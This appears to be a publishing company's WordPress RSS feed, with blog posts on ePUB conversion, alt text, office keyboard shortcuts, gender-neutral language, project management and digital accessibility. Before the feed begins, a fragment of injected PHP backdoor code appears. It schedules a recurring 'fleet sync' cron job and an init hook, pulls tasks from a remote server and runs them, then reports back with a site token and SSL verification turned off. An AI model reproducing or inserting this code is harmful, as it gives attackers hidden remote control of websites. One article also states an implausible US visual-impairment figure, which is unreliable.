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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Content Development - https://www.pps-ace.com Fri, 10 Jan 2025 06:04:31 +0000 en-US hourly 1 https://wordpress.org/?v=6.9.7 https://www.pps-ace.com/wp-content/uploads/2014/08/cropped-pps-favicon-32x32.jpg Content Development - https://www.pps-ace.com 32 32 Automated ePUB Conversions . . . Not as Easy as You Might Think! https://www.pps-ace.com/automated-epub-conversions-not-as-easy-as-you-might-think/ https://www.pps-ace.com/automated-epub-conversions-not-as-easy-as-you-might-think/?noamp=mobile#respond Fri, 11 Oct 2019 12:30:19 +0000 https://www.pps-ace.com/?p=4356 By Jennifer Hastings, PPS Project Manager You’ve just completed your book. The hard part is done, right? Well, maybe not. Have you given any thought to how your work will be distributed to your readers? Traditionally, books are printed in set quantities. Selling enough books will cover printing costs and hopefully make a profit. To […]

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]]> By Jennifer Hastings, PPS Project Manager

You’ve just completed your book. The hard part is done, right? Well, maybe not. Have you given any thought to how your work will be distributed to your readers? Traditionally, books are printed in set quantities. Selling enough books will cover printing costs and hopefully make a profit. To achieve this, a writer must reach as many readers as possible, but with traditional printing, the expense can be overwhelming. How can your book be distributed to your readers without incurring those printing costs? Converting your book into an ePUB could be the ideal solution.

What is an ePUB?

First, “what is an e-book?” An e-book is a book in digital format. Readers use electronic devices, such as tablets, phones, or laptops, to read an e-book. There are many e-book formats: .epub, .mobi, .azw3, and .pdf, to name a few. The most common format is the ePUB. An ePUB, short for “electronic publication,” is an open e-book standard format that is supported by most e-readers.

An ePUB has many advantages for both author and reader. For the author, an ePUB is less expensive to produce than a traditional printed book. There are no printing, shipping, or storage costs for ePUBs. For the reader, ePUBs are easier to travel with and store, no bookshelves required. The reader can customize each ePUB by changing the font, font size, color, and screen brightness on an e-reader.

Conversion is easy. Formatting is not.

Converting your book to an ePUB is easy; there are many free or inexpensive programs readily available, such as Draft2Digital. However, even the simplest content requires correct formatting for the conversion program to work properly. Text, headings, and tables should be set consistently using styles and all art should be the correct color, size, and format. Adding videos or interactive forms requires a higher level of manipulation in the program. Conversion programs will automate the ePUB conversion but knowing how to use the software will help if manual changes are needed.

Check the results.

Check your newly converted ePUB on a variety of e-readers. Each e-reader will interpret the ePUB coding differently. Review the pages throughout the ePUB to make sure text and other elements look and function properly. Tables may look great on an iPad but may be too large on a smartphone. All links should go to the correct location. If not, search for the cause of the issue and manually fix the coding in the conversion software.

Professional conversion.

Did you remember to add the metadata and cover file? Alternative text for images? Feeling overwhelmed? Professional services are available and at affordable rates. Professionals in the publishing industry are trained to handle the entire conversion process. Based on experience, they can anticipate content problems by identifying and fixing any issues before the ePUB is created. A professional conversion will also include checking and certifying the ePUB to ensure that it works properly and readers will have a positive reading experience.

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]]> https://www.pps-ace.com/automated-epub-conversions-not-as-easy-as-you-might-think/feed/ 0 Alt-Textually Speaking: What Is Alt Text and Why Do We Need It? https://www.pps-ace.com/alt-textually-speaking-what-is-alt-text-and-why-do-we-need-it/ https://www.pps-ace.com/alt-textually-speaking-what-is-alt-text-and-why-do-we-need-it/?noamp=mobile#respond Wed, 25 Sep 2019 18:04:47 +0000 https://www.pps-ace.com/?p=4338 Article by David Bailey Alt text, short for “alternative text,” started because of a requirement in the Section 508 Amendment to the United States Workforce Rehabilitation Act of 1973 that requires all federal agencies to make their electronic and information technology accessible to people with disabilities. Alt text is used to describe images in a […]

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]]> Article by David Bailey

Alt text, short for “alternative text,” started because of a requirement in the Section 508 Amendment to the United States Workforce Rehabilitation Act of 1973 that requires all federal agencies to make their electronic and information technology accessible to people with disabilities. Alt text is used to describe images in a document for users with a visual or cognitive disability. The words describing the image are read out loud by screen reader software, allowing the person with the disability to understand the content and function of the image.

All federal agencies and institutions that receive federal funding are required to be 508 compliant. This includes government agencies, federally funded nonprofit organizations, public higher education institutions, and public K–12 schools.

See the United States Access Board website for the complete text of the standards and guidelines of Section 508.

The most common usage of alt text is on websites. HTML has the “alt text” feature built into the language: every <img> must have an alt= attribute. However, the alt-text descriptions used on websites are often very brief and not always helpful.

Alt text is also used in 508 compliant PDFs, ePUBs, MOBIs, PowerPoints, and Word documents; that is, any media application with images that can be read by screen readers will need alt text.

For small websites or projects with a limited number of simple images, alt text can be written by the website developer. However, for large websites with hundreds of complex images, such as an online course on biology, hiring a content development group is highly suggested and will improve the quality and usefulness of the alt text.

What is meant by “function” and “content” in alt-text writing?

The function is determined if the image is “clickable” as a link or button.

The content is what is “in” the image and how it relates to the accompanying text (“context”): if there are three people sitting at a dinner table in the image, that should be included in the description. Also, any words that are in the image should be included in the alt text. For example, a company logo with the company’s name should have that name as part of the alt text.

The “context” is what the image is being used for in the relation to the document. For example, photo of an owl accompanies a multiple-choice question about camouflage and the reader will need information in that photo to answer the questions. The alt text should describe the photo to include information needed to answer the questions without giving the answer away.

Camouflage

The animal in this photo is displaying what type of adaptation?

  1. Migration
  2. Camouflage
  3. Hibernation
  4. Mimicry

If the photo accompanied text that related to the photo in a less specific way (a general discussion of owls), less descriptive alt-text could be used, as below.

Camouflage

If an image is decorative (i.e., it isn’t active and it doesn’t contain information), then it doesn’t need a description. In HTML, it would be written as <img alt=” “>

Brevity is key for alt text; only what is necessary to describe an image should be included in the alt text; this decision is based on the context of the image, or how the image is being used in the document. For example, the map of colonial Boston would need more description when accompanying questions but less description as a decorative background image on a title page. Clip art of a car in a timeline could be described as “A car.” However, if the image was of a Ford Model-T, and the context of the timeline required it, more description should be used: “A Ford Model-T automobile.”

Redundancy is also important. If the image has a caption, the alt text should not include all the information that is already in the caption. WebAIM’s article has an excellent example of how to avoid redundancy in alt-text writing.

For more information on writing alternative text, see Five golden rules for compliant alt text from AbilityNet.

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]]> https://www.pps-ace.com/alt-textually-speaking-what-is-alt-text-and-why-do-we-need-it/feed/ 0 Keyboard Shortcuts for Microsoft Word, Excel, and Adobe Acrobat https://www.pps-ace.com/keyboard-shortcuts-for-microsoft-word-excel-and-adobe-acrobat/ https://www.pps-ace.com/keyboard-shortcuts-for-microsoft-word-excel-and-adobe-acrobat/?noamp=mobile#respond Fri, 09 Aug 2019 12:19:36 +0000 https://www.pps-ace.com/?p=4332 By Rachel Guise, PPS Editor What is a keyboard shortcut? Keyboard shortcuts are combinations of keys that initiate a command in the program that you’re using. The following lists are key combinations that can be used in Microsoft programs as well as most search engines. TurboFuture provides lists of the most used keyboard shortcuts as […]

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]]> By Rachel Guise, PPS Editor

What is a keyboard shortcut?

Keyboard shortcuts are combinations of keys that initiate a command in the program that you’re using. The following lists are key combinations that can be used in Microsoft programs as well as most search engines. TurboFuture provides lists of the most used keyboard shortcuts as well as some that are not commonly used for all platforms.

As a PC user, Ctrl + S is my most used keyboard shortcut for all three programs. When working on several projects a day, clicking Ctrl + S while making edits becomes second nature and ensures none of my changes are lost. Another shortcut that I frequently use is Ctrl + A. This is helpful in Word when you have global edits such as changing the font or font size in a document. You can also use this shortcut in Excel to change font formatting. Ctrl + Z is another often used shortcut because, hey, I make mistakes.

Microsoft Word

The following is a list of PC keyboard shortcuts that work in Microsoft Word. HowtoGeek breaks down keyboard shortcuts by their functions.

Ctrl + A = Select all text in document

Ctrl + B = Bold highlighted text

Ctrl + C = Copy highlighted text

Ctrl + D = Opens Font preferences box

Ctrl + E = Align highlighted text center

Ctrl + Enter = Insert new page within current document

Ctrl + F = Opens Find tool (opens the Navigation pane)

Ctrl + G = Opens Go to tool (in the Navigation pane)

Ctrl + H = Opens Replace tool (in the Navigation pane)

Ctrl + I = Italic highlighted text

Ctrl + J = Justify highlighted text

Ctrl + K = Opens Insert Hyperlink box

Ctrl + L = Align highlighted text left

Ctrl + M = Inserts paragraph indent

Ctrl + N = Opens new document

Ctrl + O = Opens Open file window

Ctrl + P = Opens Print window

Ctrl + R = Align highlighted text left or right

Ctrl + S = Saves the document as it is currently named

Ctrl + U = Underline highlighted text

Ctrl + V = Paste copied or cut text

Ctrl + W = Close document

Ctrl + X = Cut (text must be selected to use this shortcut)

Ctrl + Y = Redo last action

Ctrl + Z = Undo last action

Ctrl + + = Set highlighted text subscript

F1 = Opens the Help windowpane

F7 = Spellcheck (opens the Editor pane to check spelling and grammar)

F12 = Save as (opens the Save As window, so that the document can be saved using a new name or in a new location)

Shift + arrow keys = Select multiple letters

Ctrl + arrow keys = Select multiple words

MAC (also known as Apple) computers use many of the same shortcut keys as PCs. Note that Ctrl on a PC keyboard and control on a MAC keyboard do not always serve the same function. Where you would use Ctrl on a PC, you’ll use the ⌘ command key on a MAC. Microsoft provides a complete list of shortcuts for MAC users, but here is a list of the most often used shortcuts.

⌘ + A = Select all

⌘ + B = Bold

⌘ + C or Shift + F2 = Copy selected text

⌘ + F = Find

⌘ + H = Hide windows

⌘ + I = Italic

⌘ + N = Opens new document or window

⌘ + O = Open

⌘ + P = Print

⌘ + Q = Quit

⌘ + S = Save

⌘ + T = Switch between open apps

⌘ + U = Underline

⌘ + V = Paste copied or cut text

⌘ + X = Cut

⌘ + Z = Undo last action

⌘ + + = Set subscript

Option + ⌘ + G = Opens Go to box

Option + ⌘ + L = Opens Spelling and Grammar box

Control + F = Find

Microsoft Excel

Several of the PC keyboard shortcuts used in Word also apply to Excel (e.g., Ctrl + S).

Ctrl + D = Delete cell text

Ctrl + F = Find

Ctrl + G = Opens Go to box

Ctrl + H = Opens Replace box

Ctrl + K = Opens Insert Hyperlink box

Ctrl + L = Create table

Ctrl + N = Opens new workbook

Ctrl + O = Opens selected workbook

Ctrl + W = Closes workbook

Ctrl + Y = Redo last action

Ctrl + Z = Undo last action

Ctrl + ; = Insert the current date

Ctrl + : = Insert the current time

F7 = Spellcheck

Alt + F = Opens selected File

Likewise, Excel keyboard shortcuts are similar for MAC users as well.

⌘ + A = Select all

⌘ + C = Copy

⌘ + P = Opens Print window

⌘ + Q = Quit

⌘ + S = Save

⌘ + U = Underline

⌘ + V = Paste copied or cut text

⌘ + Z = Undo last action

Some, however, are different from Word or are specific to Excel.

Option + G = Opens Go to box

F7 = Opens Check Spelling and Grammar box

Control + Shift = Insert cell

 ⌘ + 1 = Format Cells box

Shift + F3 = Display Formula Builder

Adobe Acrobat

Adobe Acrobat’s click for Website provides instructions to use shortcuts while working in PDFs. The website uses tables to organize which shortcuts work with different types of tools. It includes a column for PC functions as well as MAC. Like Excel, some of the Word keyboard shortcuts work in Adobe.

Ctrl/⌘ + A = Select all

Ctrl/⌘ + C = Copy

Ctrl/⌘ + N = New

Ctrl/⌘ + S = Save

Ctrl/⌘ + Z = Undo

Adobe also provides instructions to use single-key shortcuts while working in PDFs. Many are the same for PC and MAC.

C = Crop tool

H = Hand tool

S = Stick Note tool

U = Highlighting tool

X = Textbox tool

Ctrl/⌘ + equal sign = Zoom in

Ctrl/⌘ + hyphen = Zoom out

Ctrl/⌘ + F4 = Close file

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]]> https://www.pps-ace.com/keyboard-shortcuts-for-microsoft-word-excel-and-adobe-acrobat/feed/ 0 Publishing Services Vendors—The Multifunction Tool Anyone Can Use https://www.pps-ace.com/publishing-services-vendors-the-multifunction-tool-anyone-can-use/ Fri, 26 Jul 2019 17:38:42 +0000 https://www.pps-ace.com/?p=4326 By Dave Bailey, PPS Production Editor Publishing has moved beyond printing a book and calling that the finish line. Publishing is now a multiservice industry. Suppose your company wants to publish a How-To Guide for App development using Python. Not only do you need to write the guide, you need to create, find, and organize […]

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]]>
Knife on table

By Dave Bailey, PPS Production Editor

Publishing has moved beyond printing a book and calling that the finish line. Publishing is now a multiservice industry. Suppose your company wants to publish a How-To Guide for App development using Python. Not only do you need to write the guide, you need to create, find, and organize images for the guide; edit the author’s writing; create a modern, appealing design; prepare the content in InDesign; proofread the page proofs; finalize the product; and coordinate the printing. But wait, you also want PowerPoint presentations of key instructional sections available online, an app development lab series, and an online question bank for students. (And exactly who’s going to write these?) The entire project should be 508 compliant—images will need alt-text and the final files should be accessible across digital content platforms. Oh, and you received a request for a Spanish version for the South American market. And all of this must be finished on a tight schedule. Phew!

While publishers, businesses, and organizations can handle some or all these tasks internally, even the biggest organizations struggle if several of these components are moving through at the same time. This is where publishing services vendors enter the scene. They can handle these tasks, even on a condensed schedule.

And the best part about publishing services vendors is how adaptable they are to client needs. They’re like the multifunction tool you keep in a drawer at home: maybe you just need your product translated into Japanese. Or maybe you just have a book idea and are not sure how to proceed. A publishing services vendor will meet with you and help bring your book idea to life.

Publishing services vendors also anticipate client needs or potential issues. You may not have thought about photo and figure permissions, but they have. You may not know you need alt-text for accessibility standards, but they do.

The best vendors are knowledgeable and capable of producing high-quality results at reasonable prices. They will work with you to discover what you need and remain communicative throughout the project (see this article from ComputerWorld about “10 things we want from our vendors”). The staff are also accountable for the work they do. These companies rely on their reputation to stay in business, so they are as invested as you in the final product.  

Before you start your next publishing project, consider publishing services vendors: whether you need them for one service or twenty, or whether you are a big publishing house or an independent author, they are the multifunction tool anyone can use.

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]]> Gender Neutrality in Publishing https://www.pps-ace.com/gender-neutrality-in-publishing/ https://www.pps-ace.com/gender-neutrality-in-publishing/?noamp=mobile#respond Fri, 07 Jun 2019 16:00:05 +0000 https://www.pps-ace.com/?p=4315 By Rachel Guise, PPS Editor What is gender neutrality? Gender neutrality is the belief that language and other social foundations should avoid categorization according to a person’s gender or sex. This includes suggesting that certain societal roles belong to either a male or female. Before gender neutrality was defined, writers and editors made attempts to […]

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]]> By Rachel Guise, PPS Editor

What is gender neutrality?

Gender neutrality is the belief that language and other social foundations should avoid categorization according to a person’s gender or sex. This includes suggesting that certain societal roles belong to either a male or female.

Before gender neutrality was defined, writers and editors made attempts to be inclusive with the use of “he/she” and “his/her.” That was a temporary fix. Today, however, there are more than two genders. aPath.org provides a list of 63 genders and a key to understanding each gender.

Gender neutrality and pronouns

According to the Human Rights Campaign, a pronoun is used when talking about an individual in the first person (“I”), second person (“you”), or third person (“he,” “she,” “they”). Historically, third-person pronouns are gendered.

Pronouns are important because their use is how individuals assert their identity. Using the correct pronoun is not only a sign of respect when writing about a person, but also shows you put a lot of care into your publication and how it would be received by all individuals.

The Human Rights Campaign shares a chart that provides examples of how to use common pronouns. The BBC shows a card created by the University of Wisconsin-Milwaukee LGBT Resource Center that on one side lists eight pronouns in categories 1 through 5. The other side is a how-to guide for using the pronouns, placing those categories 1 through 5 in the blanks the pronouns belong.

Gender neutrality and nouns

You’ve seen words such as policeman, Congressman, and stewardess. But women are being elected into government positions and serving on police forces, and men are treating patients as nurses.

The Writing Center provides a Click for chart of common gendered nouns and gender-neutral nouns. Examples include using “first-year student” rather than “freshman” and “mail carrier” rather than “mailman.” Think outside the box when using nouns that are typically aimed at one gender.

How do I write with gender neutrality in mind?

A basic rule of writing is to know your audience. But what if you don’t know your audience? Write for everyone and anyone. Gender-specific pronouns such as “he” or “she” are not exclusively identified within today’s society.

When in doubt, use “they” to replace “he” or “she” and “their” to replace “his” or “hers.” There are also countless resources that explain gender neutral pronouns individuals now identify with, such as “ze.”

Another option is to use gender neutral nouns. For example, “The doctor checked my blood pressure” is more inclusive than “She checked my blood pressure.”

Don’t be afraid to ask. If your writing includes interviews, quotes, or information about a person, don’t be afraid to ask that individual which pronouns are preferred.

If after writing you’re concerned you may have missed non-inclusive terminology, use the find feature (CTRL + F) to search for any words you wish to correct.

The future of gender neutrality

As Mackenzie Kassab of the Harvard Extension School writes, old habits die hard. Many individuals in previous generations fight the movements to make our country gender inclusive. You may encounter backlash from colleagues or readers. Kassab implores us to ignore criticism.

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]]> https://www.pps-ace.com/gender-neutrality-in-publishing/feed/ 0 Project Management: Guiding Your Project from Start to Finish https://www.pps-ace.com/project-management-guiding-your-project-from-start-to-finish/ https://www.pps-ace.com/project-management-guiding-your-project-from-start-to-finish/?noamp=mobile#respond Wed, 15 May 2019 12:28:43 +0000 https://www.pps-ace.com/?p=4104 By Marsha Hall, PPS Project Manager At Progressive Publishing Services, our project managers nurture your project from concept to completion. Whether you’re interested in full-service publishing, book publishing services, publishing project management, or e-book publishing, our professional staff focus on your project, working one-on-one with you, your authors, editors, art departments, publishers, indexers, composition groups, […]

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]]> By Marsha Hall, PPS Project Manager

At Progressive Publishing Services, our project managers nurture your project from concept to completion. Whether you’re interested in full-service publishing, book publishing services, publishing project management, or e-book publishing, our professional staff focus on your project, working one-on-one with you, your authors, editors, art departments, publishers, indexers, composition groups, and printers. It’s our task and pleasure to work with all the people involved in the process of getting a book through publication from manuscript development to final book production. Our project manager will shepherd as many of those tasks as you wish—and you don’t have to.

Let’s take a closer look at the tasks a project manager oversees so that you can relax, knowing that someone else “has this.”

Manuscript Development
Our project manager can work with your developmental editors, authors, art departments, and marketing staff during the initial manuscript creation stage. Our project manager will be with you in as many capacities of manuscript development as are needed for the project. Our project manager can also provide editors, copyeditors, artists, and compositors to fulfill creation needs.

Production
Our project managers can work with your production department or can work with our own to meet the production tasks such as composition, art, copyediting, and proofreading.

Indexing
Our project manager can collaborate with a professional indexer to create your desired index. Our company is experienced with the various levels of indexes (simple, medium, complex) and categories (name, subject, combination name and subject, table of cases, run-in vs indented), and more.

Post-Production
Our project managers see that printer-ready copy is created, reviewed, and prepped for your desired printer. Our editors will review the printer-ready PDFs and printer proofs and ensure that the final product is ready for print.

Behind the Scenes
We’ve listed the tasks that go into project management, but what else can we do for you? The project manager keeps track of the budget and the schedule, making sure the project comes through on time and on budget. You will be provided with weekly status reports to prevent any sudden surprises at the end of the project. The project manager will also keep in contact with the authors, editors, and other production staff involved in the project.

Who to Contact
Need more information? We’d love to hear from you and discuss how we can help. You can reach us at the following:

Progressive Publishing Services
Ryan Run Rd. Suite B
York, PA 17404
Phone: 717-764-5908
Email: info@apexcovantage.com

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]]> https://www.pps-ace.com/project-management-guiding-your-project-from-start-to-finish/feed/ 0 Fooling with Fonts . . . Take the Hum-Drum Out of Your Emails https://www.pps-ace.com/fooling-with-fonts-take-the-hum-drum-out-of-your-emails/ https://www.pps-ace.com/fooling-with-fonts-take-the-hum-drum-out-of-your-emails/?noamp=mobile#respond Mon, 08 Apr 2019 19:09:32 +0000 https://www.pps-ace.com/?p=4093 By Marsha Hall, PPS Project Manager In metal typesetting, a font was a size, weight and style of a typeface. In modern usage, digital typography is often synonymous with “typeface.” In the beginning, also known as 1931, The Times of London, a British newspaper, hired Stan­ley Mori­son, artistic director at Monotype, to cre­ate a text […]

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]]> By Marsha Hall, PPS Project Manager

In metal typesetting, a font was a size, weight and style of a typeface. In modern usage, digital typography is often synonymous with “typeface.”

In the beginning, also known as 1931, The Times of London, a British newspaper, hired Stan­ley Mori­son, artistic director at Monotype, to cre­ate a text font. Mori­son led the project, super­vis­ing Vic­tor Lar­dent, an adver­tis­ing artist for The Times, who drew the let­ter­forms. This text font was named Times New Roman.

In business, there are some reasons for using different fonts, and if you’re not used to using different fonts, the choices that are possible can be overwhelming, so here’s a little advice. Fonts typically fall into two categories: serifs and sans serifs. Fonts with small features are known as serifs. Examples are Times New Roman, Garamond, and Bookman Old Style. Fonts that don’t have small projecting features are called sans serif (from the French word for “without”). Examples are Arial, Helvetica, and Verdana. These fonts are usually used online but are starting to be used more in printed materials.

differences in fonts
The quick brown fox
Where did I get that font
The Quick Brown Fox
So long from Times New Roman

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]]> https://www.pps-ace.com/fooling-with-fonts-take-the-hum-drum-out-of-your-emails/feed/ 0 The Agenda-Driven Project Post-Mortem https://www.pps-ace.com/the-agenda-driven-project-post-mortem/ https://www.pps-ace.com/the-agenda-driven-project-post-mortem/?noamp=mobile#respond Mon, 14 Jan 2019 20:12:38 +0000 https://www.pps-ace.com/?p=3929 By Dave Bailey, PPS Editor Whew, you finally got that big project done! During the weeks or months of a project’s life span, a lot of work gets done and a lot of decisions get made that not only affect that project, but may have implications for how similar projects are handled in the future. […]

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]]> By Dave Bailey, PPS Editor

Whew, you finally got that big project done! During the weeks or months of a project’s life span, a lot of work gets done and a lot of decisions get made that not only affect that project, but may have implications for how similar projects are handled in the future. These project decisions could have an important effect on how smoothly the next project is handled, which affects future profits. But if these decisions and procedures are not reviewed and documented, it’s very possible they won’t be used in the next project and a different decision could be made, making your company appear inconsistent in its standard operating procedures. This is where the post-mortem comes in.

What is a project post-mortem in the business world?

In business, a project post-mortem is a process for determining what elements of a project were successful or unsuccessful with the ultimate goal of making the next project better. Most post-mortems take place immediately after a project is finished (“post-mortem” means after death) when the details of the project are fresh in everyone’s mind. The members of the project meet to discuss the various details of the project in a structured setting. If the term “post-mortem” seems a little morbid to you, just call them project reviews; it’s the same thing.

But first, you need an agenda.

Before the meeting, an agenda is sent out by the project manager, who is normally the moderator for the meeting and who will outline the meeting itinerary and also recap the project.

Why do you need an agenda? Couldn’t we just get together and discuss the project issues more informally? Well you could, but these informal meetings could easily turn into complaint sessions, where team members’ feelings could be hurt and little else gets accomplished. Additionally, it’s necessary to keep track of the items discussed to benefit future projects.

What’s on the agenda?

There are almost as many post-mortem agenda templates as there are companies (see https://zapty.com/blog/post-mortem-meeting-template/ and https://www.teamgantt.com/blog/post-mortem-meeting-template-and-tips for a couple ideas), but here are some key items to include:

  1. State the purpose of the meeting (to find out what went well/what could be better; identify areas of improvement for future projects). By stating the purpose for the meeting upfront (we want to make the next project better), it helps focus the team members on accomplishing this goal, not just bringing up problems and pointing fingers.
  2. Project recap: What type of project did we complete? What services did we provide?
  3. Project outcome: This includes answering questions such as; Was the project goal met? Was the product delivered on time and on budget? Is the client happy?
  4. Identify project items/decisions that either worked well or didn’t, and discuss. This can often include a series of questions for the team members to discuss, including: Are you proud of the work done on this project (yes/no and why)? What worked well? What didn’t work well? What would you do differently? Are there any current projects that could benefit from this feedback before we deliver the final product?
  5. State problem areas that should be fixed before the next project AND/OR state processes/decisions during this project that would benefit the next project, and how best to implement them.

The Takeaway

Post-mortems (aka “project reviews”) can be an effective tool to find out what went well or needs improvement after completion of a project, so that the next project can go even better.

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]]> https://www.pps-ace.com/the-agenda-driven-project-post-mortem/feed/ 0 Can Technology Replace an Editor? https://www.pps-ace.com/can-technology-replace-an-editor/ https://www.pps-ace.com/can-technology-replace-an-editor/?noamp=mobile#respond Wed, 19 Dec 2018 18:42:58 +0000 https://www.pps-ace.com/?p=3922 Technological advancement is a double-edged sword: Whereas it can bring prosperity and enhance life, technology replaces humans and tasks they’ve been doing for centuries. Research suggests technology could replace human resource departments, teachers, real estate agents, and even police officers and doctors. For example, robotics and automation have been linked to lost manufacturing jobs, but debate […]

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]]> Technological advancement is a double-edged sword: Whereas it can bring prosperity and enhance life, technology replaces humans and tasks they’ve been doing for centuries. Research suggests technology could replace human resource departments, teachers, real estate agents, and even police officers and doctors.

For example, robotics and automation have been linked to lost manufacturing jobs, but debate continues about how fast and how precisely this will affect the U.S. workforce.

What about the editors?

There is an obvious fear within the writing world regarding technology and automation. With the advancement of the Internet and the creation of social media, the publication world has shifted dramatically. There is a worry about book publishing as e-readers have come on to the scene, though many are now picking up a physical book in addition to a digital one.

Newspapers have significantly changed in the past 20 years, with most cutting their print publication either by half or completely. This has dramatically affected the workforce, including the local news scene. The shift is happening so fast, it is difficult for universities to keep up with the changes and educate students before brand-new writers, editors, and publishers launch into full-time positions.

With the advent of software like PerfectIt and its improvement year on year, it might seem like technology is threatening editorial positions.

According to Larry Jordan, “the Law of Unintended Consequences . . . says that this new automated editing technology will put lots of us out of work.” He theorizes that most of us don’t create high-end storytelling, so new automated tools can take care of a text video for social media and check the highlights from a local sports event.

Artificial intelligence won’t replace high-end editing.

Jordan is right: Technology can catch the errors, such as misspellings, repetition, consistency, and even style guide differences. But what technology can’t replace is the human aspect.

According to Grammar Girl Mignon Fogarty: “Grammar is complex. Writers may even want to break rules sometimes, for example, to accurately represent what a source said or to create natural sounding dialogue. Software may help, but editing is about much more than that.”

The human language isn’t easy for technology to pick up. There are subtleties, and language is learned through experiences and context, which artificial intelligence cannot digest and correct. Also, the author’s voice and vision are not easily simulated, as a software editor might change the meaning of a sentence with one click.

Experts are now leaning toward the theory that technology will refine jobs, not eliminate them. According to Forbes, “Instead of worrying about job losses, executives should be helping to reduce jobs in which [artificial intelligence] and machine learning take over boring tasks, while humans spend more time with higher-level tasks.”

In fact, automation and technology can help writers and editors do a more efficient job, so they can focus more on the meaning and precision of the work rather than the little parts that add to the whole. And who doesn’t like another set of “eyes” on their work before publication?

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]]> https://www.pps-ace.com/can-technology-replace-an-editor/feed/ 0 Digital Content Accessibility: Opening the Digital World to Everyone https://www.pps-ace.com/digital-content-accessibility-opening-the-digital-world-to-everyone/ https://www.pps-ace.com/digital-content-accessibility-opening-the-digital-world-to-everyone/?noamp=mobile#respond Mon, 26 Nov 2018 16:52:26 +0000 https://www.pps-ace.com/?p=3903 According to the Department of Health & Human Services, 285 million people in the United States live with some sort of visual impairment and 275 million people live with moderate-to-profound hearing impairment. This doesn’t account for the millions more who live with physical, speech, cognitive, or neurological disabilities or a limited understanding of English. Assistive […]

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]]> According to the Department of Health & Human Services, 285 million people in the United States live with some sort of visual impairment and 275 million people live with moderate-to-profound hearing impairment. This doesn’t account for the millions more who live with physical, speech, cognitive, or neurological disabilities or a limited understanding of English.

Assistive technology and accessibility features such as eyeglasses, hearing aids, canes, ramps for wheelchairs, and closed captioning on television are used or accessed every day. Specific assistive technology software, such as text-to-speech converters, screen magnifiers, and on-screen keyboards, are now common.

However, did you know that not all web-based or media content is accessible to people with impairments and disabilities?

Alternative Text

Text-to-speech software is quite literal, reading everything on the screen as-is. If it was a standard, text-only book, this would be easy for the program to digest, but this is not typical for digital content. Areas that cause difficulty for these programs include: images, captions, color, data tables, forms, navigational elements and links, and interactive elements.

Alternative text, or alt text, provides a textual alternative to nontext content on webpages and other media. Because screen readers cannot analyze an image and determine what it presents, alternative text is provided that explains what the image means. Alt text helps make the content and function of the image accessible to those with visual or certain cognitive disabilities.

Alt text can be generated by software, but most applications need a human touch to ensure the alt text correctly matches the content and context that are being read. This includes concise but descriptive text. For example, an image of a child studying for a history test would include the alt text caption, “Child sits in the chair with his text book open, reading a lesson in preparation for a test.”

Section 508

Section 508 is part of a 1998 amendment to the Rehabilitation Act of 1973. It requires all federal electronic content to be accessible, regardless of disability. Electronic content includes electronic documents, websites and pages, applications, multimedia, and agency-wide emails.

Due to this mandate, federal employees are trained on how to properly create content that is accessible, whether it is redesigning graphics to be better understood by all parties, simplifying websites, or adding alternative text to graphics and images. Departments in the federal government use software such as Accenture Digital Diagnostic Engine, WAVE, screen readers (JAWS, NVDA, Window Eyes), voice recognition (Dragon, Siri), and tools in programs such as Adobe to check for accessibility. Private-sector companies can use these tools, too, to ensure that their content is thoroughly accessible.

Progressive Publishing Services strives for excellence in a variety of publishing and content services, including accessibility. We can convert content that is better accessible for those with disabilities. Please contact us to see how we can help your project be accessible.

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